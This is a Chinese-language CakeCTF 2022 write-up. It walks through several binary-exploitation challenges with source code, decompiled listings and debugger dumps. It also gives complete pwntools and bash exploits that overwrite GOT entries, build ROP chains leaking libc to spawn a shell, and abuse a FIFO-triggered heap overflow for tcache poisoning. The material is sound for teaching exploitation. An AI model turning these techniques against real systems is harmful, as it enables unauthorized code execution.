CakeCTF 2022

# welkerme

没开 kaslr 没开 smep
找到 cc 和 pkc 一把梭了

# str.vs.cstr

c++ 简单溢出
没开 pie 和 relro

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#include <array>
#include <iostream>

struct Test {
Test() {
std::fill(_c_str, _c_str + 0x20, 0);
}
char* c_str() { return _c_str; }
std::string& str() { return _str; }

private:
__attribute__((used))
void call_me() {
std::system("/bin/sh");
}

char _c_str[0x20];
std::string _str;
};

int main() {
Test test;

std::setbuf(stdin, NULL);
std::setbuf(stdout, NULL);

std::cout << "1. set c_str" << std::endl
<< "2. get c_str" << std::endl
<< "3. set str" << std::endl
<< "4. get str" << std::endl;

while (std::cin.good()) {
int choice = 0;
std::cout << "choice: ";
std::cin >> choice;

switch (choice) {
case 1: // set c_str
std::cout << "c_str: ";
std::cin >> test.c_str();
break;

case 2: // get c_str
std::cout << "c_str: " << test.c_str() << std::endl;
break;

case 3: // set str
std::cout << "str: ";
std::cin >> test.str();
break;

case 4: // get str
std::cout << "str: " << test.str() << std::endl;
break;

default: // otherwise exit
std::cout << "bye!" << std::endl;
return 0;
}
}

return 1;
}

对照 ida 来看
定义的函数连函数指针都没放在结构体力 只有 string 的指针和 char 这个字符数组

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rax
__int64 v4; // rax
__int64 v5; // rax
__int64 v6; // rax
__int64 v7; // rax
__int64 v8; // rax
__int64 v9; // rax
__int64 v10; // rax
__int64 v11; // rbx
__int64 v12; // rax
__int64 v13; // rax
__int64 v14; // rax
__int64 v15; // rbx
__int64 v16; // rax
__int64 v17; // rax
__int64 v18; // rax
int v19; // ebx
int choice; // [rsp+Ch] [rbp-64h] BYREF
char test[72]; // [rsp+10h] [rbp-60h] BYREF
unsigned __int64 v23; // [rsp+58h] [rbp-18h]

v23 = __readfsqword(0x28u);
Test::Test((Test *)test); // 创建一个对象
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
v3 = std::operator<<<std::char_traits<char>>(&std::cout, "1. set c_str");
v4 = std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
v5 = std::operator<<<std::char_traits<char>>(v4, "2. get c_str");
v6 = std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
v7 = std::operator<<<std::char_traits<char>>(v6, "3. set str");
v8 = std::ostream::operator<<(v7, &std::endl<char,std::char_traits<char>>);
v9 = std::operator<<<std::char_traits<char>>(v8, "4. get str");
std::ostream::operator<<(v9, &std::endl<char,std::char_traits<char>>);
while ( (unsigned __int8)std::ios::good(&unk_404230) )// ctrl + d exit good
{
choice = 0;
std::operator<<<std::char_traits<char>>(&std::cout, "choice: ");
std::istream::operator>>(&std::cin, &choice);
if ( choice == 4 ) // std::cout << "str: " << test.str() << std::endl;
{
v15 = std::operator<<<std::char_traits<char>>(&std::cout, "str: ");
v16 = Test::str[abi:cxx11](test); // [1] <<- 其实就是返回一个地址
v17 = std::operator<<<char>(v15, v16);
std::ostream::operator<<(v17, &std::endl<char,std::char_traits<char>>);
}
else
{
if ( choice > 4 )
goto LABEL_13;
switch ( choice )
{
case 3: // std::cout << "str: ";
std::operator<<<std::char_traits<char>>(&std::cout, "str: ");
v14 = Test::str[abi:cxx11](test);
std::operator>><char>(&std::cin, v14);// std::cin >> test.str();
break;
case 1: // std::cout << "c_str: ";
std::operator<<<std::char_traits<char>>(&std::cout, "c_str: ");
v10 = Test::c_str((Test *)test); // return this
std::operator>><char,std::char_traits<char>>(&std::cin, v10);// std::cin >> test.c_str();
break;
case 2: // std::cout << "c_str: " << test.c_str() << std::endl;
v11 = std::operator<<<std::char_traits<char>>(&std::cout, "c_str: ");
v12 = Test::c_str((Test *)test);
v13 = std::operator<<<std::char_traits<char>>(v11, v12);
std::ostream::operator<<(v13, &std::endl<char,std::char_traits<char>>);
break;
default:
LABEL_13:
v18 = std::operator<<<std::char_traits<char>>(&std::cout, "bye!");
std::ostream::operator<<(v18, &std::endl<char,std::char_traits<char>>);
v19 = 0;
goto LABEL_15;
}
}
}
v19 = 1;
LABEL_15:
Test::~Test((Test *)test);
return v19;
}

输入 0x1f 个 A 到 char 里和 0x8 个到 string 里
可以看到

1
2
3
4
5
6
7
0x007fff9d71f280│+0x0000: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0x007fff9d71f288│+0x0008: "AAAAAAAAAAAAAAAAAAAAAAA"
0x007fff9d71f290│+0x0010: "AAAAAAAAAAAAAAA"
0x007fff9d71f298│+0x0018: 0x41414141414141 ("AAAAAAA"?)
0x007fff9d71f2a0│+0x0020: 0x007fff9d71f2b0"BBBBBBBB"
0x007fff9d71f2a8│+0x0028: 0x0000000000000008
0x007fff9d71f2b0│+0x0030: "BBBBBBBB"

string 第一个是指针 指向堆上
我们可以劫持这个指针来进行任意写 具体原因如下

string は「文字列を格納するアドレス (8bytes), 長さ (8bytes), 文字列 (短ければここに、長ければ heap 上に)」
という構造をしています。なので「文字列を格納するアドレス」を test.c_str() のオーバーフローで
書き換えれば GOT に任意書き込みができます。これで call_me を呼べるようにします。

至于最后一个难题就是选择 got 表了

1
2
3
4
5
6
7
8
0x404018 <_ZStrsIcSt11char_traitsIcEERSt13basic_istreamIT_T0_ES6_PS3_@got.plt>: 0x0000000000401030      0x00007ffff7ee5d70
0x404028 <_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev@got.plt>: 0x0000000000401050 0x0000000000401060
0x404038 <__cxa_atexit@got.plt>: 0x00007ffff7c07de0 0x0000000000401080
0x404048 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@got.plt>: 0x00007ffff7f01bb0 0x00007ffff7f006d0
0x404058 <__stack_chk_fail@got.plt>: 0x00000000004010b0 0x00000000004010c0
0x404068 <_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1Ev@got.plt>: 0x00007ffff7f114b0 0x00007ffff7c4cad0
0x404078 <_ZNSt8ios_base4InitC1Ev@got.plt>: 0x00007ffff7e890f0 0x00007ffff7ee2bb0
0x404088 <_Unwind_Resume@got.plt>: 0x0000000000401110 0x0000000000000000

个人最开始是写 __stack_chk_fail 的 然后想着用 pwntools 的 shutdown
但是析构的时候会 free 掉 string 导致系统提前崩
所以按 wp 就是改 _ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc
具体可能是试一个个出来的

# exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import * 
context(os="Linux",arch="amd64",log_level="debug")
p = process("./chall")

se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
info = lambda tag, addr :p.info('======>'+tag + ': {:#x}'.format(addr))
ir = lambda :p.interactive()
ri = lambda :raw_input()
ps = lambda :pause()
'''
struct Test {
char _c_str[0x20];
std::string _str;
};
'''
def set_c_str(data):
sla("choice: ", "1")
sla("c_str: ", data)

def get_c_str():
sla("choice: ", "2")

def set_str(data):
sla("choice: ", "3")
sla("str: ", data)

def get_str():
sla("choice: ", "4")

# b *0x4013E6
got = 0x404048 # _ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@got.plt
binsh = 0x4016DE
def exp():
set_c_str(b"A" * 0x20 + p64(got))
set_str(p64(binsh))
ir()

if __name__ == "__main__":
exp()

# smal_arey

只开了 NX

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <unistd.h>

#define ARRAY_SIZE(n) (n * sizeof(long))
#define ARRAY_NEW(n) (long*)alloca(ARRAY_SIZE(n + 1))

int main() {
long size, index, *arr;

printf("size: ");
if (scanf("%ld", &size) != 1 || size < 0 || size > 5)// 1 2 3 4
exit(0);

arr = ARRAY_NEW(size); [1] <<- 在栈上申请 n + 1 个size
while (1) {
printf("index: ");
if (scanf("%ld", &index) != 1 || index < 0 || index >= size)
exit(0);

printf("value: ");
scanf("%ld", &arr[index]); [2] <<- 在size范围内进行任意四字节的读写
}
}

__attribute__((constructor))
void setup(void) {
alarm(180);
setbuf(stdin, NULL);
setbuf(stdout, NULL);
}

alloca 是在栈上分配内存 并自动释放
其实就一个指针指向栈上 然后 rsp 减下去罢了
宏的分配问题

1
2
3
4
#define ARRAY_SIZE(n) (n * sizeof(long))
#define ARRAY_NEW(n) (long*)alloca(ARRAY_SIZE(n + 1))

=> alloca(n + 1 * sizeof(long))

然后 size 如果能被覆盖的话 idx 就能越界了

1
2
void *v4; // rsp
unsigned __int64 size; // [rsp+8h] [rbp-20h] BYREF

这个 alloca 其实就是减去 rsp 然后往栈顶存放

1
2
3
4
5
00:0000│ rsp 0x7ffd12538830 —▸ 0x4013e3 (__libc_csu_init+99) ◂— pop    rdi
01:00080x7ffd12538838 —▸ 0x404020 (printf@got.plt) —▸ 0x7f2a5fcc3c90 (printf) ◂— endbr64
02:00100x7ffd12538840 —▸ 0x401094 (printf@plt+4) ◂— bnd jmp qword ptr [rip + 0x2f85]
03:00180x7ffd12538848 —▸ 0x4010d0 (_start) ◂— endbr64
04:00200x7ffd12538850 ◂— 0x7fffffffffffffff [1] <- size

%ld 的最大写入为 0x7fffffffffffffff
可以覆盖掉 size 和 arr 达到 got 表任意写的效果 可以通过不合法的值触发 exit

再看看返回地址
如果在栈中触发 exit 的 got 会压入返回地址
只需要让 rsp+8 就能执行 ROP 了 也就是写个 pop ret

1
2
3
4
5
6
7
8
9
10
rsp 0x7ffd12538830 —▸ 0x4013e3 (__libc_csu_init+99) ◂— pop    rdi
0x7ffd12538838 —▸ 0x404020 (printf@got.plt) —▸ 0x7f2a5fcc3c90 (printf) ◂— endbr64
0x7ffd12538840 —▸ 0x401094 (printf@plt+4) ◂— bnd jmp qword ptr [rip + 0x2f85]
0x7ffd12538848 —▸ 0x4010d0 (_start) ◂— endbr64
0x7ffd12538850 ◂— 0x7fffffffffffffff [2] <- size
0x7ffd12538858 ◂— 0x4
0x7ffd12538860 —▸ 0x7ffd12538830 —▸ 0x4013e3 (__libc_csu_init+99) ◂— pop rdi [1] <- arr
0x7ffd12538868 ◂— 0x2abd7f93dc67a400
rbp 0x7ffd12538870 ◂— 0x0
0x7ffd12538878 —▸ 0x7f2a5fc86083 (__libc_start_main+243) ◂— mov edi, eax

总流程如下

  • 通过 alloca 的指针在 rsp 栈顶布置我们的 rop 并劫持 size 后篡改 alloca 出来的指针 达到 got 任意写的效果
  • 进入 exit 的 got 的时候 会压入返回地址 执行 rop 的时候要 pop 掉这个
  • ROP 用经典 plt 泄漏 got 的套路 并返回 main
  • 重复上述

# exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import * 
context(os="Linux",arch="amd64",log_level="debug")
p = process("./chall")

se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
info = lambda tag, addr :p.info('======>'+tag + ': {:#x}'.format(addr))
ir = lambda :p.interactive()
ri = lambda :raw_input()
ps = lambda :pause()

libc = ELF("./libc-2.31.so")
elf = ELF("./chall")

def set(idx, val):
sla("index: ", str(idx))
sla("value: ", str(val))

def exp():
sla("size:", "5")# 0 - 5
pop_rdi = 0x4013e3
set(0, pop_rdi)
set(1 ,elf.got["printf"])
set(2 ,elf.plt["printf"])
set(3 ,elf.sym["_start"])

# falsify size
set(4 ,0xffffffffffffffff)
# hijack arr
set(6 ,elf.got["exit"])
# falsify got[exit]'s content
set(0 ,pop_rdi)
# trigger
ri()
sla("index: ", "-1")
leak = uu64(ru("\x7f")[-6:])
info("leak",leak)
libc_base = leak - 0x7ffff7e1fc90 + 0x7ffff7dbe000
info("libc_base",libc_base)

# pwn
binsh = libc_base + next(libc.search(b"/bin/sh"))
system = libc_base + libc.sym['system']
sla("size:", "5")# 0 - 5
pop_rdi = 0x4013e3
set(0, pop_rdi)
set(1 ,binsh)
set(2 ,system)
set(4 ,0xffffffffffffffff)
set(6 ,elf.got["exit"])
set(0 ,pop_rdi)
sla("index: ", "-1")
ir()

if __name__ == "__main__":
exp()

# 关于逆向的一点补充

1
2
3
4
v3 = 16 * ((size + 31) / 0x10);
while ( &size != (unsigned __int64 *)((char *)&size - (v3 & 0xFFFFFFFFFFFFF000LL)) )
;
v4 = alloca(v3 & 0xFFF);

这里就可以看到 size 在 1 - 17 之间的 v3 都是不会变的
也就是 n + sizeof(long) 与 0x10 对齐的情况

# crc32sum

权限逃逸(亦或者说普通堆

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
#include <ctype.h>
#include <fcntl.h>
#include <limits.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/file.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

/**
* Calculate CRC32 hash for data
*/
unsigned int crc32(unsigned char *data, size_t size)
{
size_t i, j;
unsigned int hash;

hash = 0xFFFFFFFF;
for (i = 0; i < size; i++) {
hash ^= data[i];
for (j = 0; j < CHAR_BIT; j++) {
if (hash & 1)
hash = (hash >> 1) ^ 0xEDB88320;
else
hash >>= 1;
}
}

return hash ^ 0xFFFFFFFF;
}

/**
* Calculate CRC32 hash for file
*/
void crc32sum(const char *filepath)
{
int fd;
char *buffer, *p;
struct stat stbuf;

/* Try to open file */
if ((fd = open(filepath, O_RDONLY)) < 0) {
perror(filepath);
return;
}

/* Lock file */
if (flock(fd, LOCK_SH)) {
perror("flock");
return;
}

/* Get file size */
if (fstat(fd, &stbuf)) {
perror(filepath);
flock(fd, LOCK_UN);
return;
}

/* Allocate buffer */
if (!(buffer = malloc(stbuf.st_size))) { [1] <<- 漏洞点所在 pipe是没有size的
perror("Memory Error");
flock(fd, LOCK_UN);
return;
}

/* Read file */
p = buffer;
while (read(fd, p++, 1) == 1);

/* Calculate hash */
printf("%s: %08x\n", filepath, crc32(buffer, stbuf.st_size));

/* Cleanup */
free(buffer);
flock(fd, LOCK_UN);
close(fd);
}

/**
* Entry point
*/
int main(int argc, char **argv)
{
char *filepath;

setreuid(geteuid(), geteuid());

if (argc < 2) {
printf("Usage: %s <file> ...\n", argv[0]);
if (system("/usr/bin/which crc32 > /dev/null") == 0)
puts("Your system has `crc32` too");
return 1;
}

for (int i = 1; i < argc; i++) {
filepath = strdup(argv[i]);
crc32sum(filepath);
free(filepath);
}

return 0;
}

思路 对于 FIFO 的管道 stbuf.st_size 是 0 这就造成了堆溢出
我们可以 mkfifo 创建堆块 然后溢出到下面的 0x40 的块(前提是要布置好两个 0x40)
然后劫持 tcache 到 got 在劫持 free 成 system 的 plt
这样就能直接 free (cmd) 命令执行了

难点在于 strdup 会干扰堆布局 需要思考
和第一次 printf 会创建 0x400 的缓冲区 需要 bypass 这两即可

# FIFO

命名管道也被称为 FIFO 文件
管道是没法被 stat 结构体读取到数据的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <ctype.h>
#include <fcntl.h>
#include <limits.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/file.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

int main(){
int pipefd[2];
if(pipe(pipefd) == -1){
perror("pipe");
exit(1);
}
struct stat stbuf;
fstat(pipefd[0], &stbuf);
printf("%d\n", stbuf.st_size);// 0
fstat(pipefd[1], &stbuf);
printf("%d\n", stbuf.st_size);// 0
}

# exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/bin/bash
path=`pwd` # TODO: modify here
target=$path/crc32sum
./cleanup.sh
# real size xx
A1=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
A2=ooooooooooooooooooooooooooooooo
# real szie 0x40
B=bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
C=kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk
# real szie 0x40
PL=ccccccccccccccccccccccccccccccccccccccccccccccc
# real szie 0x50
PIPE=pppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppp

# tmp=`mktemp /tmp/cake-XXX`
# cp $target .

# :<<eof
# chunk[0x30] <<- A's name
# chunk[0x20] <<- A's content <<- overflow
# chunk[0x40] <<- B
# chunk[0x40] <<- B
# eof
python3 -c "print('C'*0x1f)" > $A1
python3 -c "print('C'*0xf)" > $A2
python3 -c "print('C'*0x2f)" > $B # B creat two of 0x40 real size chunk
python3 -c "print('C'*0x2f)" > $C
# :<<eof
# GOT SYM PLT
# 0000000000404018 free@GLIBC_2.2.5 0000000000401030
# 0000000000404020 puts@GLIBC_2.2.5 0000000000401040
# 0000000000404028 system@GLIBC_2.2.5 0000000000401050
# 0000000000404030 printf@GLIBC_2.2.5 0000000000401060
# 0000000000404038 geteuid@GLIBC_2.2.5 0000000000401070
# 0000000000404040 close@GLIBC_2.2.5 0000000000401080
# eof
# hijack free's got to system's plt and retain other nothing change
echo -ne "\x50\x10\x40\x00\x00\x00\x00\x00" >> $PL
echo -ne "\x40\x10\x40\x00\x00\x00\x00\x00" >> $PL
echo -ne "\x50\x10\x40\x00\x00\x00\x00\x00" >> $PL
echo -ne "\x60\x10\x40\x00\x00\x00\x00\x00" >> $PL
echo -ne "\x70\x10\x40\x00\x00\x00\x00\x00" >> $PL
echo -ne "\x80\x10\x40\x00\x00\x00\x00\x00" >> $PL

python3 -c "print('S'*0x18,end='')" > payload
echo -ne '\x41\x00\x00\x00\x00\x00\x00\x00' >> payload
echo -ne '\x18\x40\x40\x00\x00\x00\x00\x00' >> payload
echo "cat ~/flag" > cmd
mkfifo $PIPE

# A1是发现会凭空出现一个0x400的块 间隔我们的payload
# gdb -x gdbscript --args $target $A1 $A2 $B $PIPE $PL cmd
$target $A1 $A2 $B $PIPE $PL cmd &
sleep 1
cat ./payload > $PIPE